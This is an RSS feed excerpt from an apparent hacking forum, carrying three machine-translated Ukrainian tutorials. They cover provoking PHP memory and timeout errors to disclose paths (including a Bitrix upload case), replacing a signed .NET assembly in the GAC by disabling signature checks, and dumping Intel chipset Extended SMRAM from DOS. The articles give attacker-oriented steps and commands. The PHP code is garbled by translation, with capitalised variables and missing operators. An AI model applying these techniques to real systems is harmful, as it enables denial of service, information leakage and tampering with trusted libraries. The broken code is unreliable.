						&lt;p&gt;Здавалося б, яке тут споживання пам&#039;яті?! Насправді, такий скрипт може жерти мегабайти ОЗУ. І тут, не сперечаюся, немає провини програміста, який написав його. Для виведення розміру використовуваної пам&#039;яті в PHP служить функція memory_get_usage (). Пропоную дописати її до тривіального скрипту і провести деякі виміри. Для початку викличемо наш скрипт не зі змінною, a методом GET. Споживання зросте десь на 1 Кб. Інтерпретатор вже виділив більше пам&#039;яті під значення змінної, тому, якщо послати запит &amp;quot;? A = aaa&amp;quot;, споживання пам&#039;яті не збільшиться. Наше ж завдання - отримати якомога більше виділеної пам&#039;яті при як можна більш короткій довжині GET-запиту (максимальне значення ми вже отримали і тримаємо в думці). Спробуємо тепер передати запит з параметром? A [], кількість спожитої пам&#039;яті збільшиться вже приблизно на 500 байт. Тепер в гру вступає другий параметр, який був визначений вище - max_input_nesting_level. Як тільки розмірність нашого масиву перевищить його, споживання пам&#039;яті буде рівносильно нагоди, коли ми взагалі нічого не передаємо. Для експерименту я перевірив, скільки ж пам&#039;яті буде споживати тривіальний скрипт якщо немає обмеження на розмірність масиву. Виявилося, що при запиті? A ([] x2500 разів) тривіальний скрипт їсть близько 1.2 Мб. Цього, звичайно, занадто мало, щоб вивалитися за memory_limit, але і скрипт наш не схожий на реальне веб-додаток. Щоб моніторити споживання пам&#039;яті будь-якої програми, можна написати дуже простий скрипт:&lt;/p&gt;
						&lt;p&gt;&amp;lt;? Php echo &amp;quot;marker:&amp;quot;. Memory_get_usage ().&amp;quot;#&amp;quot;;?&amp;gt;&lt;/p&gt;
						&lt;p&gt;і додати його до директиви auto_append_file в php.ini. Тепер неважко написати функцію, яка буде шукати у відповіді сервера маркер і отримувати значення споживаної пам&#039;яті. Функція буде така:&lt;/p&gt;
						&lt;p&gt;function findMarker ($ content) {&lt;br /&gt;$ P1 = strpos ($ content, &amp;quot;ONsec E500 mem:&amp;quot;);&lt;br /&gt;if ($ p1 === false) {&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;$ P2 = strpos ($ content ,&amp;quot;#&amp;quot;,$ p1);&lt;br /&gt;if ($ p2 === false) {&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;$ Mem = substr ($ content, $ p1 15, $ p2-$ p1-15);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return intval ($ mem);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Тепер ми можемо спробувати отримати практичну користь від усього написаного. Тут слід запастися удачею. Навскидку, без вихідного коду визначити скрипти, які люблять пам&#039;ять, може бути непросто. Порада така - шукай цикли з обробкою масивів, рекурсії і всього такого ж плану. У ряді випадків може виявитися, що лучшеіспользовать POST, де істотно більші обмеження на довжину переданих даних. Раджу взяти з диска мій PoC і подивитися функцію fuzz_memory_usage (). Її можна використовувати для перебору змінних різними методами (POST, GET, Multipart) і для виявлення найбільш вигідних для виділення пам&#039;яті комбінацій. Там же вбудована перевірка на аномальнию довжину і час відповіді, так що, якщо довгоочікувана помилка з&#039;явиться, ти її не пропустиш.&lt;br /&gt;Повільний скрипт - вразливий скрипт&lt;/p&gt;
						&lt;p&gt;На відміну від споживання пам&#039;яті, час виконання скрипта залежить від навантаження на сервер і взагалі є величиною, м&#039;яко кажучи, мінливою. Змусити додаток відпрацьовуватися довше, ніж зазначено в параметрі max_execution_time, непросто. Є навіть клас вразливостей в OWASP, називається &amp;quot;dead_code&amp;quot;. Це помилки розробника, які можна експлуатувати з метою злому, наприклад, для провокування помилки перевищення часу виконання. Тестуючи додаток або сайт, ти вже маєш якесь уявлення про те, які запити відпрацьовують швидше, а які повільніше, ніж інші. Це, знову ж таки, всілякі цикли. До речі, фільтри безпеки часто грішать повільною швидкістю виконання. Особливо це стосується фільтрів, що виправляють запит. Знаючи як працює фільтр, можна згодувати йому запит, для приведення якого буде потрібно багато ітерацій.&lt;/p&gt;
						&lt;p&gt;Крім того, небезпечні операції з файлами, наприклад, зловмисник може спробувати завантажити великий файл в декілька потоків. Якщо веб-додаток спробує записати файл в те саме місце, куди ще не дописався цей же файл від іншого запиту, то воно дещо &amp;quot;забариться&amp;quot;. Але, знову ж таки, все залежить від використовуваних функцій, ОС, ФС, налаштувань і багатьох факторів. Ось загальні рекомендації, які можна дати для пошуку вразливих скриптів. У загальному випадку, постійно збільшуючи навантаження на сервер, зловмисник рано чи пізно все одно отримає те, на що розраховує. Звичайно, і такі старання неважко припинити, але це вже виходить за рамки веб-додатки.&lt;/p&gt;
						&lt;p&gt;Розглянемо тепер живий приклад на останній версії Бітрікс і тестовій площі. У системі були виявлені деякі особливості, а саме:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. При завантаженні файлу в якості аватара, він поміщається в директорію з Трьохсимвольний ім&#039;ям, діапазон символів хексовий (16 ^ 3 = 4096).&lt;br /&gt;&amp;#160; &amp;#160;2. При оновленні аватара, директорія зі старим аватаром видаляється.&lt;br /&gt;&amp;#160; &amp;#160;3. При завантаженні аватара з ім&#039;ям довше 250 символів, директорія створюється, а файл не завантажується. Створена в такий спосіб директорія вже не видаляється.&lt;/p&gt;
						&lt;p&gt;Можна розраховувати на те, що рясне кількість створених директорій буде збільшувати час виконання скрипта завантаження аватара. Перевірити це можна простим запитом Multipart, запущеним в кілька потоків. Знову-таки, перевіряємо на аномалії по довжині і часу відповіді, зберігаючи такі результати у файли. Запустивши такий алгоритм в 20 потоків, я отримав файли, що відрізняються по довжині.&lt;br /&gt;Розбираємо результати&lt;/p&gt;
						&lt;p&gt;По завершенні вилову заповітних відповідей справа залишається за малим - акуратно розібрати їх, вичленувати шляху з повідомлень про помилки і розташувати за рівнями залежно від довжини відповіді. Це вирішується приблизно таким кодом:&lt;/p&gt;
						&lt;p&gt;function parseResults ($ dir) {&lt;br /&gt;if (is_dir ($ dir)) {&lt;br /&gt;if ($ dh = opendir ($ dir)) {&lt;br /&gt;$ I = 0;&lt;br /&gt;$ Results = array ();&lt;br /&gt;while (($ file = readdir ($ dh))! == false) {&lt;br /&gt;$ CurFile = $ dir. $ File;&lt;br /&gt;$ Fh = fopen ($ curFile, &#039;r&#039;);&lt;br /&gt;$ Filedata = fread ($ fh, filesize ($ curFile));&lt;br /&gt;$ Fsize = filesize ($ curFile);&lt;br /&gt;$ P1 = strpos ($ filedata, &amp;quot;Maximum execution time of&amp;quot;);&lt;br /&gt;if ($ p1 === false) {}&lt;br /&gt;else {&lt;br /&gt;$ P2 = $ p1 52;&lt;br /&gt;$ P3 = strpos ($ filedata, &amp;quot;&amp;lt;/ b&amp;gt;&amp;quot;, $ p2);&lt;br /&gt;if ($ p3 === false) {}&lt;br /&gt;else {&lt;br /&gt;$ Len = $ p3-$ p2;&lt;br /&gt;$ Path = substr ($ filedata, $ p2, $ len);&lt;br /&gt;$ Unique = true;&lt;br /&gt;/ / Перевіряємо на унікальність&lt;br /&gt;foreach ($ results as $ key =&amp;gt; $ value) {&lt;br /&gt;if ($ value [&#039;path&#039;]==$ path) {&lt;br /&gt;$ Unique = false;&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if ($ unique) {&lt;br /&gt;$ Len = $ p3-$ p2;&lt;br /&gt;$ Res = array (&#039;path&#039; =&amp;gt; substr ($ filedata, $ p2, $ len), &#039;len&#039; =&amp;gt; $ fsize);&lt;br /&gt;$ Results [$ i] = $ res;&lt;br /&gt;$ I;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;fclose ($ fh);&lt;br /&gt;}&lt;br /&gt;closedir ($ dh);&lt;br /&gt;$ Size = count ($ results) -1;&lt;br /&gt;/ / Сортуємо результати по довжині&lt;br /&gt;for ($ i = $ size; $ i&amp;gt; = 0; $ i -) {&lt;br /&gt;for ($ j = 0; $ j &amp;lt;= ($ i-1); $ j)&lt;br /&gt;if ($ results [$ j] [&#039;len&#039;]&amp;gt; $ results [$ j 1] [&#039;len&#039;]) {&lt;br /&gt;$ K = $ results [$ j];&lt;br /&gt;$ Results [$ j] = $ results [$ j 1];&lt;br /&gt;$ Results [$ j 1] = $ k;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return $ results;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;На виході отримуємо відсортований масив з довжинами відповідей та іменами скриптів, у яких виникла помилка. Найприємніше - можна відновити хоч весь стек, тільки це займе чимало часу. До речі, на своїй віртуалку я наловив 126 класів за 30 хвилин. Залишається оформити звіт по рівнях ієрархії в красивому форматі. Власне, все це усередині PoC і міститься - користуйся на здоров&#039;я!&lt;br /&gt;Висновок&lt;/p&gt;
						&lt;p&gt;Це звичайно не всі можливі варіанти отримання інформації через провокацію помилок. Існує ще безліч варіантів, методик і технік, які можна застосувати як для конкретних сайтів, так і для движків цілком. Всі ці техніки, прийоми та методи належить ще знайти і використовувати, публікувати і модернізувати. Є й безліч проблем - наприклад, оптимізувати PoC для зменшення кількості запитів і зменшення слідів у логах. Ця стаття мала на меті показу основ техніки. Сподіваюся, вийшло. Як завжди, відповідаю в блозі на запитання.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:33:36 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=33#p33</guid>
		</item>
		<item>
			<title>Модифікуємо підписані бібліотеки в. NET</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=32#p32</link>
			<description>&lt;p&gt;Задумався я тут над сенсом підписання компонувальних блоків. Net. Напевно, ти теж підписував свої бібліотеки, щоб встановити їх в GAC. У ході сьогоднішнього розслідування ми навчимося змінювати підписані збірки, не володіючи исходниками і секретними ключами.&lt;br /&gt;Приватні збірки&lt;/p&gt;
						&lt;p&gt;При підписанні бібліотеки (призначення суворого імені) відкритий ключ записується в маніфест. Таким чином, щоб внести зміни в чужу підписану бібліотеку, потрібно просто замінити публічний ключ на свій. Або - ще простіше - зробити нову збірку з таким же ім&#039;ям і підписати на своєму ключі.&lt;/p&gt;
						&lt;p&gt;При використанні бібліотеки будь-який публічний ключ буде прийнятий як довірений.&lt;/p&gt;
						&lt;p&gt;Проведемо експеримент, створимо невелику бібліотечку:&lt;/p&gt;
						&lt;p&gt;Бібліотека signedLib.dll&lt;/p&gt;
						&lt;p&gt;namespace signedLib&lt;br /&gt;{&lt;br /&gt;public class sLib&lt;br /&gt;{&lt;br /&gt;public static int GetNumber () {return 1;}&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Підпишемо її і додамо до проекту консольного програми:&lt;/p&gt;
						&lt;p&gt;Консольний додаток changeKey.exe&lt;/p&gt;
						&lt;p&gt;namespace changeKey&lt;br /&gt;{&lt;br /&gt;class Program&lt;br /&gt;{&lt;br /&gt;static void Main (string [] args)&lt;br /&gt;{&lt;br /&gt;Console.WriteLine (signedLib.sLib.GetNumber ());&lt;br /&gt;Console.ReadLine ();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Потім скомпіліруем реліз проекту. З допомогою. NET Reflector [1] і плагіна Reflexil [2] відредагуємо IL-код підписаної бібліотеки (signedLib.dll), так що GetNumber () буде повертати не &amp;quot;1&amp;quot;, а &amp;quot;2&amp;quot;. Консольний додаток не помітило підміни і вивело &amp;quot;2&amp;quot;. Висновок: підмінити / змінити приватну збірку із суворим ім&#039;ям дуже просто. Інші збірки, що посилаються на змінену, ніяк на це не реагують, незважаючи на те, що вони були скомпільовані з оригінальною. Звертаю увагу, що мова йде саме про приватних збірках, зі складками в GAC справа йде інакше.&lt;br /&gt;Складання в GAC&lt;/p&gt;
						&lt;p&gt;Як ми щойно переконалися, підписані приватні компонувальні блоки можна легко модифікувати. При цьому необов&#039;язково володіти ні исходниками, ні секретним ключем, ні правами адміністратора.&lt;/p&gt;
						&lt;p&gt;Вносити зміни до збірки, встановлені в GAC, не багатьом складніше. У випадку з приватними збірками їх &amp;quot;підписання&amp;quot; ніякої ролі не грає. Підпис не перевіряється, а &amp;quot;повний ідентифікатор приватного компоновочного блоку складається з імені компоновочного блоку і числового номера його версії&amp;quot; (з книги Е. Троелсен).&lt;/p&gt;
						&lt;p&gt;Складання, встановлювані в GAC, повинні мати так зване строге ім&#039;я. Збірка отримує суворе ім&#039;я в момент її підписання. Ідентифікатори збірок в GAC доповнюються параметрами публічного ключа, підписи перевіряються. Замурували, демони! Що ж це виходить? Оточили з усіх боків:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Непомітно внести зміни не вийде - підпис перевірку не пройде;&lt;br /&gt;&amp;#160; &amp;#160; * Свій публічний ключ не подсунешь - ідентифікатор збірки зміниться.&lt;/p&gt;
						&lt;p&gt;Тим не менш, не потрібно бути криптографом, щоб все ж таки змінити бібліотеку в GAC. Потрібно всього лише володіти правами адміністратора і знати параметри утиліти sn.exe (страждальці, що не мають Студії, вручну використовують стандартну утиліту sn.exe для підписання компонувальних блоків).&lt;/p&gt;
						&lt;p&gt;Отже, візьмемо проект вже знайомої бібліотеки signedLib.dll. Підпишемо її і встановимо в GAC.&lt;/p&gt;
						&lt;p&gt;gacutil.exe / i D: \ projects \ changeKey \ signedLib \ bin \ Release \ signedLib.dll&lt;/p&gt;
						&lt;p&gt;Додамо референс до консольного додатком changeKey.exe. Компілюємо реліз, переконуємося, що в папці з програмою немає файлу signedLib.dll (це означає, що збірка буде завантажена з GAC). Запускаємо changeKey.exe - додаток показує &amp;quot;1&amp;quot;.&lt;/p&gt;
						&lt;p&gt;З цього моменту уявляємо себе атакуючими - у нас немає вихідного, немає секретного ключа. Але треба, щоб метод GetNumber () повертав не 1, а 2.&lt;/p&gt;
						&lt;p&gt;Структуру файлів нижче C: \ Windows \ assembly провідник Windows не показує. Створимо псевдодіск, на який буде проектуватися потрібний каталог:&lt;/p&gt;
						&lt;p&gt;subst b: C: \ Windows \ assembly&lt;/p&gt;
						&lt;p&gt;У провіднику з&#039;явився диск B.&lt;/p&gt;
						&lt;p&gt;. Net збірки потрапляють в папку GAC_MSIL; знаходимо потрібну папку (її назва співпадає з назвою. Dll файлу). Усередині буде ще одна папка, а в ній, нарешті, signedLib.dll. Копіюємо signedLib.dll на робочий стіл.&lt;/p&gt;
						&lt;p&gt;За допомогою чудової програми. NET Reflector і не менш чудового плагіна Reflexil (на нашому диску все це господарство тебе вже зачекалася) ми будемо редагувати бібліотеку. Попередньо перепишемо токен публічного ключа і його значення в блокнот (знадобляться пізніше). Як ми вже знаємо, публічний ключ записаний в самій збірці, і тепер в цьому можна остаточно переконатися.&lt;/p&gt;
						&lt;p&gt;Після правки IL-коду і збереження змін програма повідомить про те, що цифровий підпис порушена і запропонує варіанти подальших дій.&lt;/p&gt;
						&lt;p&gt;Натискаємо &amp;quot;Remove Strong Name&amp;quot; - видалити цифровий підпис. Закриваємо збірку (теоретично закривати збірку немає необхідності і нам повинен підійти варіант &amp;quot;Register it for verification skipping&amp;quot;, однак у мене ця операція закінчується помилкою; до того ж, у навчальних цілях краще виконати всі операції вручну).&lt;/p&gt;
						&lt;p&gt;Тепер у нас є:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Змінена, не підписана dll;&lt;br /&gt;&amp;#160; &amp;#160; * Публічний ключ оригінальної бібліотеки.&lt;/p&gt;
						&lt;p&gt;Залишилося встановити її в GAC. Для цього скористаємося механізмом відкладеної підпису. Якщо збірка містить інформацію про публічний ключі, але не має цифрового підпису - кажуть, що вона має відкладену підпис (придумав це якийсь надмозг з Майкрософт &amp;quot;з метою тестування&amp;quot;).&lt;/p&gt;
						&lt;p&gt;Зробити таку збірку з допомогою. NET Reflector не становить ніякої складності - потрібно заповнити відповідні поля, вони виділені жовтим на малюнку &amp;quot;Параметри публічного ключа&amp;quot; (пам&#039;ятаєш, ми копіювали їх значення в блокнот?). І не забудь поставити галочку &amp;quot;HasPublicKey&amp;quot; (в теорії публічний ключ потрібно витягувати з секретного за допомогою утиліти sn.exe і потім за допомогою неї ж створювати відкладену підпис).&lt;/p&gt;
						&lt;p&gt;Отже, ми отримали збірку, яка називається так само, як оригінальна, має таку ж версію і такий же публічний ключ. Виходить, якщо її встановити в GAC, вона отримає такий самий ідентифікатор, що і оригінальна (дивись початок статті). Як я писав вище, за умовчанням у збірок в GAC перевіряється підпис, однак перевірку підпису можна відключити - знову ж таки &amp;quot;для тестування&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Щоб відключити перевірку підпису dll на даному комп&#039;ютері, потрібно скористатися sn.exe:&lt;/p&gt;
						&lt;p&gt;sn-Vr C: \ Users \ Alex \ Desktop \ signedLib.dll&lt;/p&gt;
						&lt;p&gt;Видаляємо оригінальну збірку з GAC:&lt;/p&gt;
						&lt;p&gt;gacutil / u signedLib, Version = 1.0.0.0, Culture = neutral, PublicKeyToken = 2b1b71846e76146e&lt;/p&gt;
						&lt;p&gt;І встановлюємо змінену:&lt;/p&gt;
						&lt;p&gt;gacutil / i C: \ Users \ Alex \ Desktop \ signedLib.dll&lt;/p&gt;
						&lt;p&gt;Радіємо, дивлячись на виведену gacutil.exe напис:&lt;/p&gt;
						&lt;p&gt;Assembly successfully added to the cache&lt;/p&gt;
						&lt;p&gt;Ось ми й добилися бажаного - змінили бібліотеку, встановлену в GAC. Щоб ще раз порадіти (і перевірити результат), запускаємо наш додаток changeKey.exe, яке на початку статті виводило 1. Ура, тепер він покаже 2!&lt;/p&gt;
						&lt;p&gt;Підіб&#039;ємо підсумок&lt;/p&gt;
						&lt;p&gt;Саме час підвести підсумок нашим сьогоднішнім звершень. Зробимо це по пунктах:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Публічний ключ записаний в самій збірці (точніше, в маніфесті);&lt;br /&gt;&amp;#160; &amp;#160; * У випадку з приватними збірками підписи не перевіряються.&lt;/p&gt;
						&lt;p&gt;Щоб змінити збірку в CAG, потрібно:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Зробити копію потрібного dll-файлу з C: \ Windows \ assembly (скориставшись командою subst).&lt;br /&gt;&amp;#160; &amp;#160;2. Витягти з збирання публічний ключ.&lt;br /&gt;&amp;#160; &amp;#160;3. Модифікувати IL-код складання і видалити цифровий підпис.&lt;br /&gt;&amp;#160; &amp;#160;4. Додати до зміненого файлу публічний ключ, отриманий на кроці 2 (створимо відкладену підпис).&lt;br /&gt;&amp;#160; &amp;#160;5. Скасувати перевірку цифрового підпису для модифікованої збірки на даному комп&#039;ютері.&lt;br /&gt;&amp;#160; &amp;#160;6. Видалити оригінальну збірку з GAC.&lt;br /&gt;&amp;#160; &amp;#160;7. Встановити модифіковану збірку.&lt;/p&gt;
						&lt;p&gt;Для реалізації кроків 5-7 потрібно мати права адміністратора. Ось і все! На цьому дозволь попрощатися і побажати тобі величезних творчих узбеків на ниві досліджень програмного забезпечення.&lt;br /&gt;INFO&lt;/p&gt;
						&lt;p&gt;Для комфортного читання статті потрібно володіти базовими знаннями в області криптографії з відкритим ключем.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:32:31 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=32#p32</guid>
		</item>
		<item>
			<title>Проникаємо в Extended SMRAM або ще раз про потойбічне пам&#039;яті № 2</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=31#p31</link>
			<description>&lt;p&gt;Опис роботи програми&lt;/p&gt;
						&lt;p&gt;Як і в раніше опублікованих статтях даного циклу, з метою монопольного та безперешкодного взаємодії програми з обладнанням при роботі з пропонованим прикладом, автор застосував &amp;quot;древню&amp;quot; технологію налагодження під DOS. Аргументація такого кроку і рекомендації щодо організації робочого місця приведені в раніше опублікованій статті &amp;quot;64-бітний режим під DOS: дослідницька робота № 1&amp;quot;. Даний приклад демонструє роботу з регістрами чіпсета, керуючими доступом до пам&#039;яті SMRAM. Питання роботи з ресурсами обладнання з середовища Windows виходять за рамки цієї статті.&lt;/p&gt;
						&lt;p&gt;Програма детектирует наявність блоку Extended SMRAM, і якщо цей блок присутній, візуалізує його адресу, потім зберігає вміст у файлі ESMRAM.BIN. Якщо файл з таким ім&#039;ям вже існує, він буде переписаний. Так як регістри управління SMRAM по-різному реалізовані в кожній платформі, для забезпечення універсальності необхідно детектувати чіпсет і використовувати різні процедури підтримки для різних платформ. У поточній версії програми ця задача вирішена для окремого випадку - підтримується тільки чіпсет Intel P965. Експерименти проводилися на материнській платі Gigabyte GA-965P-S3. Використовуючи пропонований приклад як зразок, зацікавлений читач може розширити номенклатуру підтримуваних платформ, звернувшись, наприклад, до документів [4-7], [12].&lt;/p&gt;
						&lt;p&gt;Можливість програмного доступу до Extended SMRAM також залежить від того, як BIOS инициализирован чіпсет при старті платформи. Існує багато платформ, де BIOS використовує тільки Compatible SMRAM в діапазоні адрес A0000h-BFFFFh і не використовує Extended SMRAM. На деяких платах BIOS встановлює біт блокування SMRAM, після чого регістри управління стають недоступні для запису. Розблокування відбувається тільки при апаратній скиданні. Якщо одна із зазначених ситуацій має місце, програма видає відповідне повідомлення про помилку. Особливості читання регістрів чіпсета, аналізу їх вмісту і детектування статусу SMRAM детально описані нижче, при описі роботи програми.&lt;/p&gt;
						&lt;p&gt;Доданий каталог WORK містить наступні файли:&lt;/p&gt;
						&lt;p&gt;ASM_TD.BAT - забезпечує демонтаж, компонування і запуск програми під відладчиком. При запуску TASM і TLINK використовуються параметри, що забезпечують додавання налагоджувальної інформації в EXE файл і налагодження з переглядом вихідного тексту програми.&lt;/p&gt;
						&lt;p&gt;ASM_EXE.BAT - забезпечує демонтаж і лінкування. Генерується EXE файл.&lt;/p&gt;
						&lt;p&gt;R_ESMRAM.ASM - основний модуль програми. Перевіряє умови запуску програми, детектирует чіпсет і аналізує його поточний стан. Якщо процесор знаходиться в реальному режимі, чіпсет розпізнано, пам&#039;ять Extended SMRAM використовується і не блокована, програма виконує збереження блоку Extended SMRAM у файлі ESMRAM.BIN.&lt;/p&gt;
						&lt;p&gt;DOSMSG.INC - процедура виведення рядка на екран з використанням функцій DOS.&lt;/p&gt;
						&lt;p&gt;NUMPRINT.INC - бібліотека для візуалізації шістнадцятиричних і десяткових чисел. Діапазон адрес Extended SMRAM візуалізується в шістнадцятковому вигляді, розмір діапазону - в десятковому вигляді.&lt;/p&gt;
						&lt;p&gt;PCIBIOS.INC - Бібліотека для читання та запису регістрів конфігураційного простору PCI. Використовується при роботі з регістрами чіпсета.&lt;/p&gt;
						&lt;p&gt;A20.INC - Бібліотека для управління і контролю стану адресної лінії A20 з використанням вихідного порту контролера клавіатури.&lt;/p&gt;
						&lt;p&gt;BIGREAL.INC - Бібліотека підтримки режиму Big Real Mode, для використання 32-бітових адрес в діапазоні 0-4 Гб. Цей режим, як і управління адресної лінією A20, необхідні в даній програмі для доступу до Extended SMRAM.&lt;/p&gt;
						&lt;p&gt;DATASEGS.INC - сегменти даних, адресовані в реальному режимі з використанням 16-бітових адрес: сегмент для зберігання змінних і текстових рядків (DATA_16), буфер для читання SMRAM (BUFFER_16), а також сегмент стека (STACK_16). Базова адреса сегмента BUFFER_16 вирівняний на границю параграфа (кратний 16), це дає можливість використовувати нульовий стартовий адресу покажчика, і забезпечує деякий приріст продуктивності при операціях пересилання блоків даних.&lt;/p&gt;
						&lt;p&gt;При виникненні протиріччя між наочністю і оптимальністю коду, автор вибирав наочність. Код може бути модифікований і оптимізований у відповідності зі специфікою конкретного завдання.&lt;/p&gt;
						&lt;p&gt;Розглянемо виконання основного модуля. Нумерація пунктів даного опису відповідає нумерації пунктів коментарів у вихідному тексті - файлі WORK \ r_esmram.asm.&lt;/p&gt;
						&lt;p&gt;1) Установка адреси стека, завантаження регістрів SS і SP.&lt;/p&gt;
						&lt;p&gt;2) Перевірка режиму роботи процесора. Програма вимагає Real Mode, так як взаємодіє з апаратними ресурсами платформи. Якщо процесор в Protected Mode, завершуємо роботу з повідомленням про помилку.&lt;/p&gt;
						&lt;p&gt;3) Детектування чіпсета. Спочатку перевіряємо наявність PCIBIOS, потім зчитуємо регістри конфігураційного простору Vendor ID і Device ID мікросхеми &amp;quot;північного мосту&amp;quot; чіпсета. Якщо Vendor ID = 8086h, Device ID = 29A0h, чіпсет Intel P965 детектувати, продовжуємо виконання. Інакше завершуємо роботу з повідомленням про помилку. Подробиці в [13-14].&lt;/p&gt;
						&lt;p&gt;4) Детектування статусу Extended SMRAM. Прочитуємо регістри конфігураційного простору SMRAM Control Register і Extended SMRAM Control Register. Перевіряємо, що біт Global SMRAM Enable (біт 3 регістру SMRAM Control Register) встановлено у &amp;quot;1&amp;quot;. Це означає, що SMRAM використовується. Також перевіряємо, що біт TSEG Enable (біт 0 регістру Extended SMRAM Control Register) встановлено у &amp;quot;1&amp;quot;. Це означає, що Extended SMRAM використовується. Потім перевіряємо, що SMRAM не блокована, тобто біт SMM Space Locked (біт 4 регістра SMRAM Control Register) встановлено в &amp;quot;0&amp;quot;. Якщо пам&#039;ять Extended SMRAM не використовується або блокована, завершуємо роботу з повідомленням про помилку. Подробиці в [1].&lt;/p&gt;
						&lt;p&gt;5) Установка адреси сегмента даних, завантаження регістра DS. Сегмент DATA_16 містить змінні, константи і текстові рядки.&lt;/p&gt;
						&lt;p&gt;6) Визначення розміру Extended SMRAM. Для цього аналізуємо біти TSEG Size (біти 2,1 регістру Extended SMRAM Control Register). Розглянутий чіпсет Intel P965 підтримує значення розміру 1, 2 і 8 MB.&lt;/p&gt;
						&lt;p&gt;7) Визначення базового адреси Extended SMRAM. Прочитуємо регістр TSEG Memory Base, вміст якого чисельно дорівнює адресою.&lt;/p&gt;
						&lt;p&gt;8) Додаткова верифікація розміру Extended SMRAM. Прочитуємо регістр TOLUD (Top of Low Usable DRAM), за вмістом якого визначаємо верхню фізичну межу діапазону доступу до оперативної пам&#039;яті. Різниця між адресою верхній фізичної кордону оперативної пам&#039;яті і базовою адресою Extended SMRAM є розміром Extended SMRAM. Порівнюємо це значення з отриманим у пункті 6 і зберігаємо для подальшого використання менше з двох значень розміру.&lt;/p&gt;
						&lt;p&gt;9) Підготовка та виведення рядка, що описує початковий адресу, кінцевий адреса і розмір блоку Extended SMRAM.&lt;/p&gt;
						&lt;p&gt;10) Висновок рядка із запитом до користувача: ESC-вихід без збереження файлу, ENTER-зберегти Extended SMRAM у файлі ESMRAM.BIN. Очікування і обробка введення з клавіатури.&lt;/p&gt;
						&lt;p&gt;11) Створення файлу ESMRAM.BIN.&lt;/p&gt;
						&lt;p&gt;12) Установка позиції курсора для відображення адрес при збереженні файлу ESMRAM.BIN.&lt;/p&gt;
						&lt;p&gt;Пункти 13-20 утворюють цикл, який використовується для збереження Extended SMRAM у файлі. За одну ітерацію зберігається 32 кілобайти. Повний розмір Extended SMRAM в залежності від конфігурації складає 1-8 мегабайт.&lt;/p&gt;
						&lt;p&gt;13) Відображення адрес поточного зберігається блоку.&lt;/p&gt;
						&lt;p&gt;14) Підготовка до 32-бітної адресації. Дозволяємо адресну лінію A20 і включаємо режим Big Real Mode. Це необхідно для доступу до пам&#039;яті Extended SMRAM, так як вона розташована вище 1MB. Вихідний стан лінії A20 зберігаємо для подальшого відновлення.&lt;/p&gt;
						&lt;p&gt;15) Відкриття SMRAM. Встановлюємо біт SMM Space Open в &amp;quot;1&amp;quot; (біт 6 регістру SMRAM Control Register). Це забезпечує такий стан &amp;quot;північного мосту&amp;quot; чіпсета, при якому всі звернення в діапазони адрес Compatible SMRAM і TSEG будуть направлятися на шину оперативної пам&#039;яті. Початкове значення зазначеного регістру зберігаємо для подальшого відновлення. Попередньо забороняємо переривання, тому що в зазначеному стані чіпсета, запуск процедур обробки переривань може привести до збою.&lt;/p&gt;
						&lt;p&gt;16) Копіювання 32-кілобайтні блоку з регіону TSEG в транзитний буфер. Виконується інструкція REP MOVS з 32-бітної адресацією. Попередньо виконується інструкція WBINVD, що забезпечує очищення кеш-пам&#039;яті. Відзначимо, що в кеш-пам&#039;яті могла залишитися інформація, прочитана з регіону TSEG до відкриття SMRAM. Якщо не виконати очищення, процесор буде використовувати &amp;quot;застарілу&amp;quot; копію TSEG, що знаходиться в кеш-пам&#039;яті замість фізичного читання TSEG.&lt;/p&gt;
						&lt;p&gt;17) Відновлення початкового значення регістра SMRAM Control Register. Після цього переривання дозволяються.&lt;/p&gt;
						&lt;p&gt;18) Вимкнення режиму Big Real Mode і відновлення початкового стану адресної лінії A20.&lt;/p&gt;
						&lt;p&gt;19) Вміст транзитного буфера, в який при виконанні пункту 16 була скопійована чергова 32-кілобайтні порція даних з регіону TSEG, дописуємо в файл ESMRAM.BIN, створений при виконанні пункту 11.&lt;/p&gt;
						&lt;p&gt;20) Організація циклу, збільшуємо адресу на 32 кілобайти і переходимо до пункту 13, поки не буде оброблено весь регіон TSEG.&lt;/p&gt;
						&lt;p&gt;21) Закриття файлу ESMRAM.BIN.&lt;/p&gt;
						&lt;p&gt;22) Видача повідомлення про успішне завершення програми і вихід в DOS.&lt;/p&gt;
						&lt;p&gt;23) Точка виходу для переривання роботи програми після натискання ESC.&lt;/p&gt;
						&lt;p&gt;Пункти 24-35 забезпечують аварійне завершення програми. Сюди передається управління при різних помилках. Виконується видача повідомлення про помилку і вихід в DOS. Якщо помилка виникла в момент, коли стан системних ресурсів (наприклад, адресної лінії A20) було змінено, перед виходом в DOS виконується також відновлення початкового стану.&lt;/p&gt;
